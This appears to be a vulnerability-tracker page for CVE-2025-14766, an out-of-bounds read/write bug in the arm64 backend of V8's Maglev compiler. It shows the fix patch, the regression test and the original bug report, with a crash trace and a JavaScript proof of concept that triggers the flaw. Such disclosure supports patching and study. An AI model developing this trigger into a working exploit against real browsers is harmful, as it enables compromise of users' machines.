Chrome · V8
CVE-2025-14766
OOB in V8
Overview
High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Files Changed
src/maglev/arm64/maglev-ir-arm64.cctest/mjsunit/maglev/regress-466786677.js
Patch
From e0052e7af9c98557d2e65431a9c070c7469c7b06 Mon Sep 17 00:00:00 2001 From: Victor Gomes <[email protected]> Date: Tue, 09 Dec 2025 15:16:44 +0100 Subject: [PATCH] [maglev][arm64] Ensure we zero-extend in Int32Multiply Fixed: 466786677 Change-Id: Ie75222393743a8beeb99f9382dc6d345b8f62604 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7241729 Auto-Submit: Victor Gomes <[email protected]> Commit-Queue: Darius Mercadier <[email protected]> Reviewed-by: Darius Mercadier <[email protected]> Commit-Queue: Victor Gomes <[email protected]> Cr-Commit-Position: refs/heads/main@{#104206} --- diff --git a/src/maglev/arm64/maglev-ir-arm64.cc b/src/maglev/arm64/maglev-ir-arm64.cc index d76c6d1..049cb75 100644 --- a/src/maglev/arm64/maglev-ir-arm64.cc +++ b/src/maglev/arm64/maglev-ir-arm64.cc @@ -323,7 +323,7 @@ __ Smull(out, left, right); // Making sure that the 32-bit output is zero-extended. - __ Move(out.W(), out.W()); + __ Mov(out.W(), out.W()); } void Int32MultiplyOverflownBits::SetValueLocationConstraints() { @@ -468,7 +468,7 @@ // Making sure that the 32-bit output is zero-extended (and moving it to the // right register if {out_alias_input} is true). - __ Move(out, res.W()); + __ Mov(out, res.W()); } void Int32DivideWithOverflow::SetValueLocationConstraints() { @@ -536,7 +536,7 @@ __ CompareAndBranch(temp, Immediate(0), ne, __ GetDeoptLabel(this, DeoptimizeReason::kNotInt32)); - __ Move(out, res); + __ Mov(out, res); } void Int32ModulusWithOverflow::SetValueLocationConstraints() { diff --git a/test/mjsunit/maglev/regress-466786677.js b/test/mjsunit/maglev/regress-466786677.js new file mode 100644 index 0000000..5b58f11 --- /dev/null +++ b/test/mjsunit/maglev/regress-466786677.js @@ -0,0 +1,22 @@ +// Copyright 2025 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --allow-natives-syntax + +function trigger(cond) { + let o = {}; + let mul = (cond ? 1 : 0x80000000) | 0; + print(mul); + let idx = (mul * 2) | 0; + print(idx); + o[0] = 1.1; + if (cond) o[1] = 2.2; + return o[idx]; +} + +%PrepareFunctionForOptimization(trigger); +trigger(true); +trigger(false); +%OptimizeMaglevOnNextCall(trigger); +trigger(false);
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/test/mjsunit/maglev/regress-466786677.js b/test/mjsunit/maglev/regress-466786677.js
new file mode 100644
index 0000000..5b58f11
--- /dev/null
+++ b/test/mjsunit/maglev/regress-466786677.js
@@ -0,0 +1,22 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function trigger(cond) {
+ let o = {};
+ let mul = (cond ? 1 : 0x80000000) | 0;
+ print(mul);
+ let idx = (mul * 2) | 0;
+ print(idx);
+ o[0] = 1.1;
+ if (cond) o[1] = 2.2;
+ return o[idx];
+}
+
+%PrepareFunctionForOptimization(trigger);
+trigger(true);
+trigger(false);
+%OptimizeMaglevOnNextCall(trigger);
+trigger(false);
Loading diff…
Original Bug Report
reported by [email protected]
v8 incorrect Integer Overflow Elimination leads to potential OOB R/W
Received signal 11 SEGV_ACCERR 719801064773
==== C stack trace ===============================
../v8/v8/out/arm64/d8(__interceptor_backtrace+0x46)[0x5cca99d37a66]
../v8/v8/out/arm64/d8(_ZN2v84base5debug10StackTraceC2Ev+0x13)[0x5ccaa1e105a3]
../v8/v8/out/arm64/d8(+0xc4a03b0)[0x5ccaa1e103b0]
/lib/x86_64-linux-gnu/libc.so.6(+0x45330)[0x76dd7ca45330]
../v8/v8/out/arm64/d8(v8_internal_simulator_ProbeMemory+0x0)[0x5cca9df2d888]
[end of stack trace]
Segmentation fault
VERSION
V8 version 14.5.0 (candidate)
REPRODUCTION CASE
Build: linux arm64 simulated
is_asan = true
is_debug = true
symbol_level = 2
v8_enable_backtrace = true
target_cpu = "x64"
v8_target_cpu = "arm64"
v8_enable_i18n_support = false
is_component_build = false
poc.js:
let warmup_count = 300;
for (let i = 0; i < warmup_count; i++) {
let o = {};
o[0] = i * 0.1;
o[1] = i * 0.1;
o[2] = i * 0.1;
let x = o[2];
}
function trigger(cond) {
let o = {};
let mul = (cond ? 1 : 0x80000000) | 0;
let idx = (mul * 2) | 0;
o[0] = 1.1;
if (cond) o[1] = 2.2;
return o[idx];
}
for (let i = 0; i < 300; i++) {
trigger(true);
trigger(false);
}
trigger(true);
trigger(false);
Run: ./d8 poc.js
Reporter credit: Shaheen Fazim
References
On This Page